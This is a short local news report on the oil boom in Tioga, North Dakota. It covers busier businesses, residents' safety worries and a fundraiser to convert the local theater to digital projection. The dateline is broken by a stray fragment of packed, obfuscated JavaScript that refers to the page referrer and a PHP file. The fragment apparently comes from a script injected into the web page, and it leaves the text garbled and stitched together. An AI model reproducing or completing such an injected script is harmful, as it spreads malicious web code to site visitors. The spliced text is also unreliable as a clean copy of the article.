TIOGA, sbhkf|var|u0026u|referrer|nskth||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The locals say a lot of new faces are in town and that’s good and bad. The influx of oil workers has been a boom for the economies of western North Dakota.

Karen Vetch is a native of the Harvey, North Dakota area and has lived in Tioga for 15 years running a clothing store and coffee shop.

Vetch says, business was good to lean for years but now it booming for her as she sells clothing for men. She says business at her store has really picked up over the last year.

Vetch says before the boom we rarely had to wait in line at the check-out counter, now its a daily experience for local residence. Vetch says with all those workers in town she’s a lot more cautious of her surroundings, referring to the reported increase of attacks on women in the oil patch.

Tioga hairstylist Kari Canfield says she booked out a month in advance for a number of her appoints. Canfield also stay’s busy working at the movie theater selling concession stand food items or taking tickets for the evening show.

Canfield says, she’s also part of a community wide effort to raise $100,000 so the theater can comply with the industry wide mandate to show movies using a digital system in 2013.

Earlier this year the theater owner in Valley City cited the high cost of upgrading to digital delivery system as cost prohibitive for him as he sold the property and retired from the business.

Ingstad Family Media News Director Steve Urness will have more follow-up reports on his trip to the western “Oil Patch” of North Dakota this week.